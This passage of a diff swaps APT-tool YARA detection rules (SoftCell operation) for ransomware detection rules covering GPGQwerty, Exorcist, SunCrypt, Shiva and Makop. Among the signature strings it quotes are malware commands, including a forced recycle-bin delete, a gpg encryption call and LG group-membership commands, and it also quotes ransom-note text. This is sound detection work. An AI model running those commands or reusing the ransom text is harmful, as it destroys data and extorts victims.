"d1be51ef9a873de85fb566d157b034234377a4a1f24dfaf670e6b94b29f35482" - logic_hash = "7d2ce7644e25a56c101c148a32f7b0f7c3185c0c17f4d65eaef257f6ac7f8ffb" + logic_hash = "8e77895cb8e7f33707c5080780a49cb4bf1d35aa7a8df829fdc7a93319ce3897" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Ixeshe" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/GPGQwerty" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\code\\Blade2009.6.30\\Blade2009.6.30\\EdgeEXE_20003OC\\Debug\\EdgeEXE.pdb" + $a = "gpg.exe –recipient qwerty -o" + $b = "%s%s.%d.qwerty" + $c = "del /Q /F /S %s$recycle.bin" + $d = "cryz1@protonmail.com" condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and any of them + all of them } - -rule TRELLIX_ARC_Shadowspawn_Utility : UTILITY FILE +rule TRELLIX_ARC_RANSOM_Exorcist : RANSOMWARE FILE { meta: - description = "Rule to detect ShadowSpawn utility used in the SoftCell operation" - author = "Marc Rivero | McAfee ATR Team" - id = "0a325f5c-2750-5354-b920-f7e1510a8b71" - date = "2019-06-25" - modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L3-L32" + description = "Rule to detect Exorcist" + author = "McAfee ATR Team" + id = "38ab069d-b030-5459-a42f-7ecd5963e68f" + date = "2020-09-01" + modified = "2020-10-12" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Exorcist.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "0f2805aee60cdb4eb932768849c845052c92131d0b25a511b822b79b2ac93e24" + logic_hash = "c376382e60aae0f661151495097d3d93f185faebb11781dbf083324c23a07247" score = 75 quality = 70 - tags = "UTILITY, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "utility" - malware_family = "Trojan:W32/ShadowSpawn" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransomware:W32/Exorcist" + actor_type = "Cybercrime" + hash1 = "793dcc731fa2c6f7406fd52c7ac43926ac23e39badce09677128cce0192e19b0" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "C:\\data\\projects\\shadowspawn\\src\\bin\\Release-W2K3\\x64\\ShadowSpawn.pdb" fullword ascii - $op0 = { e9 34 ea ff ff cc cc cc cc 48 8d 8a 20 } - $op1 = { 48 8b 85 e0 06 00 00 48 8d 34 00 48 8d 46 02 48 } - $op2 = { e9 34 c1 ff ff cc cc cc cc 48 8b 8a 68 } + $sq1 = { 48 8B C4 48 89 58 08 48 89 70 10 48 89 78 18 4C 89 60 20 55 41 56 41 57 48 8D 68 A1 48 81 EC 90 00 00 00 49 8B F1 49 8B F8 4C 8B FA 48 8B D9 E8 ?? ?? ?? ?? 45 33 E4 85 C0 0F 85 B1 00 00 00 48 8B D7 48 8B CB E8 9E 02 00 00 85 C0 0F 85 9E 00 00 00 33 D2 48 8B CB E8 ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 45 8D 44 24 01 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B D0 48 8B CB 48 8B F8 FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 E8 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 4C 8B F0 48 8D 48 FF 48 83 F9 FD 77 25 48 8D 55 2F 48 8B C8 FF 15 ?? ?? ?? ?? 4C 39 65 2F 75 3B 49 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 4C 8D 9C 24 90 00 00 00 49 8B 5B 20 49 8B 73 28 49 8B 7B 30 4D 8B 63 38 49 8B E3 41 5F 41 5E 5D C3 48 8D 45 FB 4C 89 65 1F 4C 8D 4D FF 48 89 44 24 20 4C 8B C6 4C 89 65 07 48 8D 55 07 4C 89 65 FF 48 8D 4D 1F 44 89 65 FB E8 ?? ?? ?? ?? 45 33 C9 4C 8D 05 3C F5 FF FF 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 8D 55 17 49 8B CE FF 15 ?? ?? ?? ?? 49 8B CE 44 89 65 F7 E8 ?? ?? ?? ?? 49 8B F4 4C 89 65 0F 4C 39 65 17 0F 8E 9D 00 00 00 C1 E0 10 44 8B F8 F0 FF 45 F7 B9 50 00 00 00 E8 ?? ?? ?? ?? 8B 4D 13 48 8B D8 89 48 14 89 70 10 4C 89 60 18 44 89 60 28 4C 89 70 30 48 8B 4D 07 48 89 48 48 48 8D 45 F7 B9 00 00 01 00 48 89 43 40 E8 ?? ?? ?? ?? 33 D2 48 89 43 20 41 B8 00 00 01 00 48 8B C8 E8 ?? ?? ?? ?? 48 8B 53 20 4C 8D 4B 38 41 B8 00 00 01 00 48 89 5C 24 20 49 8B CE FF 15 ?? ?? ?? ?? EB 08 33 C9 FF 15 ?? ?? ?? ?? 8B 45 F7 3D E8 03 00 00 77 EE 49 03 F7 48 89 75 0F 48 3B 75 17 0F 8C 6B FF FF FF EB 03 8B 45 F7 85 C0 74 0E 33 C9 FF 15 ?? ?? ?? ?? 44 39 65 F7 77 F2 48 8B 4D 07 E8 ?? ?? ?? ?? 48 8B 4D 1F 33 D2 E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 00 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 8D 48 FF 48 83 F9 FD 77 51 48 8D 55 37 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B 55 37 45 33 C9 45 33 C0 48 8B CB FF 15 ?? ?? ?? ?? 44 8B 45 FB 4C 8D 4D 27 48 8B 55 FF 48 8B CB 4C 89 64 24 20 FF 15 ?? ?? ?? ?? 48 8B 4D FF E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? E9 14 FE FF FF 48 8B CF E8 ?? ?? ?? ?? 48 8B 4D FF E9 06 FE FF FF } + $sq2 = { 48 8B C4 48 81 EC 38 01 00 00 48 8D 50 08 C7 40 08 04 01 00 00 48 8D 4C 24 20 FF 15 ?? ?? ?? ?? 48 8D 4C 24 20 E8 ?? ?? ?? ?? 48 81 C4 38 01 00 00 C3 } condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "eaae87b11d2ebdd286af419682037b4c" and all of them ) + uint16( 0 ) == 0x5a4d and any of them } - -rule TRELLIX_ARC_Poison_Ivy_Softcell : RAT FILE +rule TRELLIX_ARC_RANSOM_Suncrypt : RANSOMWARE FILE { meta: - description = "Rule to detect Poison Ivy used in the SoftCell operation" - author = "Marc Rivero | McAfee ATR Team" - id = "c362b116-4cb6-5393-9c64-28e8d2886dc7" - date = "2019-06-25" - modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L34-L72" + description = "Rule to detect SunCrypt ransomware" + author = "McAfee ATR Team" + id = "92655f3e-f8e4-5c9f-ae3f-0796bd31d660" + date = "2020-10-02" + modified = "2020-11-02" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Suncrypt.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "ac84023404d76adf8cfd8d26bb59fb51f29057748806c4f5ea0634803fd937cd" + logic_hash = "9f27c6c5bfe0d01ed517d55687bf699814679488f95ce4942306f09f39e29d85" score = 75 quality = 70 - tags = "RAT, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "rat" - malware_family = "Rat:W32/PoisonIvy" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransomware:W32/Suncrypt" + actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80" + hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806" strings: - $s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide - $s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide - $s3 = "&Enter password for the encrypted file:" fullword wide - $s4 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii - $s5 = "setup.bat" fullword ascii - $s6 = "ErroraErrors encountered while performing the operation" fullword wide - $s7 = "Please download a fresh copy and retry the installation" fullword wide - $s8 = "antivir.dat" fullword ascii - $s9 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide - $s10 = "=Total path and file name length must not exceed %d characters" fullword wide - $s11 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide - $op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 } - $op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 } - $op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d } + $pattern = { 77??2F475263????78??58436463????77??7A??5263????78??5846534D5A4678??48475263??????6B??????4D5A4679??7A??5263????78??584C5163????7A??44475264??5778??58526163????30????475264??30????58556463????31????475264??73??6B??????63????32????4752646C73??6B??????38????32??5047526477??6A??5738????68????????41555039????496C46374931????46446F62????414146442F565169????????????5039????466D4A526669??????????64??63????4F6D38????414169??????????586F69??????????33????30????69????????????6F41444141414974??38????41554542516167??2F5665??4478??434A526679??6666????64??63????4F6D444141414169??????????33??69????????????77??33????2F33????2F33????36??49464141434478??7A??64667A??64??7A??64??6A??73??7A??2F34??454449584164??517A??4F74??69??????????5834??5558672F33????2F33????36??6E362F2F39????59584164??517A??4F73??69??????????33??69????????????554B30????69????????????30????5838????5830????5549554974??4446434C525268????????30??39????77??444A77??574C37495073??4D5A4634??62????65??70??6B??????73??4634??54475265??31????586C5963????35????????65????78??586F63????4636??2F47526570??78??5872??63????37475047526531??78??5875??4931????46446F534163????46442F565169????????????66??51616B??????52434C51416A??63????4C5252442F63????2F566679??78??434677??55454D38??????475368????????41496C462B????462B????4E454974??49496C49434974??454974??434974??454974??49414E494B496C4E39????4639????517A??5041514D6E44565976??555974??434974??434974??434974??494474??4E4855464D38????367A??4C525169??????????????6C72??51574466??68????????454D38??????6F74??434974??434974??434974??494374??4E496C4E2F5039??2F4974??435039????4F6A??2B????2F57566E4A77??574C37494873??41414141494E6C6C4143445A6141416733??514148554969??????????30??????44475266??75??6B??????4D5A4638????475266??73??6B??????4D5A4639????475266??6B??????33????5A462B????4752666B??????5867??73??4634??6E475265??79??6B??????4D5A4635????????65??68????????62????4635????????65??????????70??63????366E4C47526574??78??5873??4D5A4630????475264??70??6B??????73??4630??54475264??31????58565963????31????475264????78??585962????4632????47526470??78??5862????5A4633????475262????78??5739????5A4676??54475262??4478??58416463????77??4C475263????78??58445A63????78??37475263????78??5847554D5A4678??4C475263????78??584A5938????79??58475263??????6B??????38????7A??44475261526178??576C64??????70??584752616475??6B??????63????71??4847526170??78??5772??73??4672??6E47526131??????5775??38????72??2F475262????78??5778??38????73??58475262????78??5730??????4674??6E475262????78??5733????5A4675??434E5265??5136??4D46414142512F31????69????????????51554F677A??514141555039????496C466E4931????46446F4977??414146442F565169????????????6152516A??5877??5039????46442F565169????????????52434C514269????????????4932????502F2F2F31??????667A??565A434677??515A67??32????414142414855433677??4C526677??68????????2F2B????667A??31????46454974??434974??454974??4E4474??47484A4D69??????????414969??????????5838????36??6661414164??69??????????????6A??565978??2F31????68????????32????61414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C4249476F4561414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C42494974??45494E34??414231????74??454974??43476F49575776??42594E38????77??64??474C5252434C514169??????????????534A51534472??476F4561414177??41434C5252434C514169??????????????6F412F31????67??????69??????????456769??????????67????48554636??67??4141434C5252434C51416A??63????4C5252442F63????4C5252442F63????6F30????4141495045444974??454974??434974??454974??43412B??5352534E524167??69????????????38????73??69??????????6C462F4974??454974??43412B??51415935????????4F5774??2F4369??????????????45516130????4B4974??454974??454974??6D414E4D4168????????5838????74??454974??494974??6D414E4D416778??36??59424141434478??7A??73??64??6C4145414141417A??412B????50372F2F34??466C4D6E44565976??555974??434974??434974??45496C49424974??434974??42412B??414431????67??4164??517A??4F73??69??????????414569??????????6B??????67??????554969????????????4969??????????68????????4164??517A?? } condition: - uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "dbb1eb5c3476069287a73206929932fd" and all of them ) + uint16( 0 ) == 0x6441 and all of them } - -rule TRELLIX_ARC_Trochilus_Softcell : TROJAN FILE +rule TRELLIX_ARC_RANSOM_Suncrypt_Decryptor : RANSOMWARE FILE { meta: - description = "Rule to detect Trochilus malware used in the SoftCell operation" - author = "Trellix ARC Team" - id = "81e942ae-936f-5952-8d50-ee8cec74520b" - date = "2019-06-25" - modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L74-L106" + description = "Rule to detect SunCrypt ransomware decryptor" + author = "McAfee ATR Team" + id = "ec0d3811-6083-5537-bf29-32ee02d43b5e" + date = "2020-10-02" + modified = "2020-11-02" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Suncrypt.yar#L27-L50" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "80a0841a08627acf11707f3aeef4e7c3777aecf04b932755efa618d7e92b0cda" + logic_hash = "59d1193bb0f8d3983a181394b5dd5247470d9e118cc4fe0674167f162bcdb6e1" score = 75 quality = 70 - tags = "TROJAN, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/Trochilus" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransomware:W32/Suncrypt" + actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "a0f99367b0a0a358ed6e5ae25904016d02aef6aa7c0423c34aa3ec3fd6354310" strings: - $s1 = "Shell.dll" fullword ascii - $s2 = "photo.dat" fullword wide - $s3 = "VW9HxtV9H|tQ9" fullword ascii - $s4 = "G6uEGRich7uEG" fullword ascii - $op0 = { e8 9d ad ff ff ff b6 a8 } - $op1 = { e8 d4 ad ff ff ff b6 94 } - $op2 = { e8 ea ad ff ff ff b6 8c } + $pattern = { 558BEC81EC88000000837D08008BC10F101A89957CFFFFFF0F104A10898578FFFFFF0F1062200F106A300F115D940F114DA40F1165B40F116DC40F8E340200008B45D08B4DC48B55B08945F88B45CC8945E08B45C88945E88B45C08945F08B45BC8945F48B45B8538B5DA88945EC8B45AC568B75A48945D48B45A0578975DC8945E48B459403C68BF033F18B4DB4C1C61003CE8BF9337DDCC1C70C03C78945DC33C6C1C0088945D803C18B4DEC89458833C7C1C0078945848B459803C38BF03375E8C1C61003CE8BF933FBC1C70C03C78945E833C6C1C00889458C03C18B4DF48BD88945EC33DF8B459C0345D48B7DE48BF03375E003FAC1C61003CEC1C307894DF4334DD4C1C10C03C133F08945908B45F0C1C6088975800375F433CEC1C107894DE08B4DF833CFC1C11003C133D08945F0C1C20C8D043A8B7DF033C88945E48B45DCC1C10803F9894DF833D7C1C20703C38BC8334DF8C1C11003F18975FC315DFC8B5DFCC1C30C03C389459433C1C1C0088945F88945D003C633D88945F48945BC8B45E80345E08BC8C1C307334DD8C1C110895DFC895DA88B5DEC8D340F8BFE337DE0C1C70C03C789459833C1C1C0088945D88945C403C68B758833F88945F08945C08B459003C2C1C7078BC8897DD4334D8CC1C11003F1897DAC8B7DE433D6037D84C1C20C03C289459C33C1C1C0088945E88945C803C633D08945B48BC7C1C207334580C1C01003D88BCB334D84C1C10C03F98BF7897DE433F0897DA0C1C60803DE8975E08975CC895DEC8B45088BF333F1895DB88B5DFC488B4DD8C1C6078975DC8975A489450885C00F8F30FEFFFF0F106DC48B8578FFFFFF0F1065B45F0F105D948955B00F104DA48B957CFFFFFF5E5B0F10020F105210660FFED80F104230660FFED10F104A200F1118660FFECC660FFEC50F1150100F1148200F1140308BE55DC3CCCCCCCCCCCCCCCCCCCC558BEC83E4F081EC58020000568BC18B4D1489442420578BFA897C24283D000100000F82680A0000660F6E07660F70C800660F6E4704660F70D000660F6E4708660F70D800660F6E470C660F70E000660F6E4710660F70E800660F6E47148B7508660F70F000660F6E47188B550C660F70F8008D8EC0000000660F6E471C660F70C0000F29842430010000660F6E4720660F70C0000F29842440010000660F6E4724660F70C0000F29842450010000660F6E4728660F70C0000F29842460010000660F6E472C894C240C8D8AC0000000660F70C000894C241C8D8E800000000F29842470010000660F6E4738894C24148D8A80000000660F70C000894C24188D4E400F29842480010000660F6E473C894C242C8D4A40660F70C000C1E8080F298C24A00100000F299424B00100000F299C24C00100000F29A424D00100000F29AC24E00100000F29B424F00100000F29BC24000200000F29842490010000894C24108944242066660F1F8400000000000F2884243001000033C00B47308B4F340F298424800000000F288424400100000F298424900000000F288424500100000F294424600F288424600100000F298424100100000F28842470010000894C244C8944244883C0040F298C24D0000000F30F7E4C244883D1000F298424200100000F288424900100000F299424E00000000F2815A02B4200660F6CC90F29442430660FD4D10F2805B02B42000F29A424A0000000660FD4C10F28E20F29B42400010000660F62E0660F6AD00F28F40F299C24F00000000F28DD0F28AC2480010000660F62F20F297C24700F28FE660F6AE2894F348B4D140F295C24500F29AC24C00000000F29A424B00000000F29BC24400200000F29A4245002000089473085C90F84820400000F287C24708BC166900F28D3660FFE9424D0000000660FEFF2660F380035C02B42000F28DE660FFE9C24900000000F28C3660FEF4424500F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942400010000660FFE9424E0000000660FEFF0660F380035D02B42000F29842490000000660FEFE2660F380025C02B42000F28C60F29742470660FFEC30F28DC660FFE5C24600F29842410020000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424000100000F298C24200200000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D7660FFE9424F0000000660FEFE0660F380025D02B42000F29442460660FEFEA660F38002DC02B42000F28C40F29A424B0000000660FFEC30F28DD660FFE9C24100100000F29842430020000660FEFC10F28F0660F72F007660F72D619660FEBF00F28C3660FEFC70F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FFE9424A0000000660FEFE8660F38002DD02B42000F294424500F28E50F29AC24C0000000660FFEE30F28C4660FEFC10F28F8660F72F007660F72D719660FEBF80F286C2430660FEFEA660F38002DC02B42000F28DD660FFE9C24200100000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D6660FEFE8660FFE942490000000660F38002DD02B42000F298424A00000000F296C2430660FFEEB0F28C5660FEFC10F28C8660F72F007660F72D119660FEBC80F28442430660FEFC20F298C2480000000660F380005C02B42000F28D80F29442430660FFEDC0F28C3660FEFC60F287424700F28C8660F72F00C660F72D114660FEBC80F284424300F28E1660FFEE20F28D7660FFE542460660FEFC4660F380005D02B4200660FEFF20F29A424D0000000660F380035C02B42000F29442430660FFEC30F298424100100000F28DE660FEFC1660FFEDD0F28C8660F72F007660F72D119660FEBC80F28C3660FEFC70F298C24000100000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FEFF00F298424E0000000660F380035D02B42000F28C6660FFEC30F29842420010000660FEFC10F28F8660F72F007660F72D719660FEBF8660FFE5424500F28A424B00000000F28AC24C0000000660FEFE2660F380025C02B42000F28DC660FFE9C24100200000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942420020000660FFE9424A0000000660FEFE00F298424F0000000660FEFEA660F380025D02B4200660F38002DC02B42000F29A424B00000000F28C4660FFEC30F28DD660FFE9C24300200000F29842490000000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424200200000F298C24800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F298424A0000000660FEFE8660F38002DD02B42000F29AC24C00000000F28C5660FFEC30F29442460660FEFC10F28D8660F72F007660F72D319660FEBD80F295C245083E8010F8594FBFFFF0F297C24700F28BC24400200000F28AC24A0010000660FFEAC24D00000000F28A424C00100000F28DD660FFEA424F00000000F288C24B00100000F28D4660FFE8C24E00000000F288424D0010000660FFE8424A00000008B44242C8B7C2414660F62D9660F6AE90F28CB660F6AE0660F62D00F10068344241410660F6CCA660FEFC8660F6DDA0F110A0F10008B4424100F28CD660F6DEC660FEFD8660F6CCC0F28A424000200000F111883C0100F10078B7C2418660FFE642470660FEFC883442418100F28D4894424100F110F8B7C240C0F288C24F0010000660FFE8C24000100008344240C100F10078B7C241C8344241C10660FEFE80F28842430010000660FFE8424800000000F112F8B7C242C0F28AC24E0010000660FFE6C24500F28DD660F62D0660F62D9660F6AE90F28CB660F6AE00F104610660F6CCA660FEFC8660F6DDA0F114A100F1047100F28CD660F6DEC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFE80F11280F28AC2440010000660FFEFE660FFEAC24900000000F28A424600100000F28DD660FFEA424100100000F288C24500100000F28D4660FFE4C24600F28842470010000660FFE84242001000083442410108B4424108344241410660F62D98344241810660F6AE90F28CB660F6AE0660F62D00F1046208344240C10660F6CCA660FEFC88344241C100F114A200F104720660F6DDA0F28CD660FEFD8660F6CCC0F11188B44241483442414100F28DF660F6DEC0F28A424800100000F10008B442418660FFEA424C0000000660FEFC883442418100F28D40F11088B44240C0F288C2450020000660FFE8C24B00000008344240C100F10008B44241C660F62D9660FEFE8660F6AF90F288424900100000F28CB660FFE4424300F11288B442410660F62D083C010660F6AE00F1046308344241C10660F6CCA660FEFC8660F6DDA0F114A30894424100F1047300F28CF660F6DFC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFF881442410D000000081C70001000081442418D000000081C2000100008144241CD000000081C60001000081442414D00000008144240CD00000000F288C24A00100000F289424B00100000F289C24C00100000F28A424D00100000F28AC24E00100000F28B424F00100000F11388B4424240F28BC24000200002D00010000836C242001897C242C8B7C2428894424240F85E2F6FFFFEB068B550C8B75088954241083F8400F829A010000C1E80689442420660F1F4400000F10370F1057100F107F200F106F3085C90F84F60000008BC10F1F80000000000F28DA660FFEDE660FEFEB660F38002DC02B42000F28E5660FFEE70F28C4660FEFC20F28C8660F72F00C660F72D114660FEFC80F28D1660FFED3660FEFEA660F70D293660F38002DD02B42000F28DD660F70ED4E660FFEDC660F70E3390F28C3660FEFC10F28C8660F72F007660F72D119660FEFC8660FFED1660FEFEA660F38002DC02B4200660FFEE50F28C4660FEFC10F28D8660F72F00C660F72D314660FEFD80F28C3660FFEC2660F70F039660FEFE8660F38002DD02B42000F28C5660F70ED4E660FFEC4660F70F8930F28C8660FEFCB0F28D1 } condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "8e13ebc144667958722686cb04ee16f8" and ( pe.exports ( "Entry" ) and pe.exports ( "Main" ) ) and all of them ) + uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them } - -rule TRELLIX_ARC_Lg_Utility_Lateral_Movement_Softcell : UTILITY FILE +rule TRELLIX_ARC_Unpacked_Shiva_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the utility LG from Joeware to do Lateral Movement in the SoftCell operation" + description = "Rule to detect an unpacked sample of Shiva ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "4f435348-427a-5f35-9545-5582033eb043" - date = "2019-06-25" + id = "c6cd4421-216f-5c1f-bb8d-fc8ab00bb72d" + date = "2018-09-05" modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L108-L143" + reference = "https://twitter.com/malwrhunterteam/status/1037424962569732096" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Shiva.yar#L1-L37" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "f88781b9632cd31bb9e3d68730c63c3fcd0ebe4a09b70b5b54d456cdc9ae8d01" + hash = "299bebcb18e218254960ef96c2e65a4dc1945dcdfe9fc68550022f99a474f56d" + logic_hash = "8a6a1d9f3b75617d8f07489ecf2867f90ddcf9fbe1db1e7c0f5c26833f88be3f" score = 75 - quality = 70 - tags = "UTILITY, FILE" + quality = 66 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "utility" - malware_family = "Utility:W32/Joeware" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Shiva" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "lg \\\\comp1\\users louise -add -r comp3" fullword ascii - $s2 = "lg \\\\comp1\\users S-1-5-567-678-89765-456 -sid -add" fullword ascii - $s3 = "lg \\\\comp1\\users -sidsout" fullword ascii - $s4 = "Enumerates members of localgroup users on localhost" fullword ascii - $s5 = "Adds SID resolved at comp3 for louise to localgroup users on comp1" fullword ascii - $s6 = "CodeGear C++ - Copyright 2008 Embarcadero Technologies" fullword ascii - $s7 = "Lists members of localgroup users on comp1 in SID format" fullword ascii - $s8 = "ERROR: Verify that CSV lines are available in PIPE input. " fullword ascii - $op0 = { 89 43 24 c6 85 6f ff ff ff 00 83 7b 24 10 72 05 } - $op1 = { 68 f8 0e 43 00 e8 8d ff ff ff 83 c4 20 68 f8 0e } - $op2 = { 66 c7 85 74 ff ff ff 0c 00 8d 55 d8 52 e8 e9 eb } + $s1 = "c:\\Users\\sys\\Desktop\\v 0.5\\Shiva\\Shiva\\obj\\Debug\\shiva.pdb" fullword ascii + $s2 = "This email will be as confirmation you are ready to pay for decryption key." fullword wide + $s3 = "Your important files are now encrypted due to a security problem with your PC!" fullword wide + $s4 = "write.php?info=" fullword wide + $s5 = " * Do not try to decrypt your data using third party software, it may cause permanent data loss." fullword wide + $s6 = " * Do not rename encrypted files." fullword wide + $s7 = ".compositiontemplate" fullword wide + $s8 = "You have to pay for decryption in Bitcoins. The price depends on how fast you write to us." fullword wide + $s9 = "\\READ_IT.txt" fullword wide + $s10 = ".lastlogin" fullword wide + $s11 = ".logonxp" fullword wide + $s12 = " * Decryption of your files with the help of third parties may cause increased price" fullword wide + $s13 = "After payment we will send you the decryption tool that will decrypt all your files." fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "327ce3f883a5b59e966b5d0e3a321156" and all of them ) + ( uint16( 0 ) == 0x5a4d and filesize < 800KB ) and all of them } - -rule TRELLIX_ARC_Mangzamel_Softcell : TROJAN FILE +rule TRELLIX_ARC_RANSOM_Makop : RANSOMWARE FILE { meta: - description = "Rule to detect Mangzamel used in the SoftCell operation" + description = "Rule to detect the unpacked Makop ransomware samples" author = "Marc Rivero | McAfee ATR Team" - id = "b0473362-7e03-5127-aee5-b5a4f05bcc8e" - date = "2019-06-25" + id = "2828f2f9-4702-5cef-8b4e-7e98146c0332" + date = "2020-07-19" modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L145-L176" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_makop.yar#L1-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "3666c645943eb8469096b8093c74e4d819299d3ffc2b99e37a506d8ef09e90c4" + hash = "008e4c327875110b96deef1dd8ef65cefa201fef60ca1cbb9ab51b5304e66fe1" + logic_hash = "2b4f8b90d46530421b66dbb04df6e84d268709fbee884536d8acc91e1b85f8a4" score = 75 quality = 70 - tags = "TROJAN, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/Mangzamel" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Makop" + actor_type = "Cybercrime" 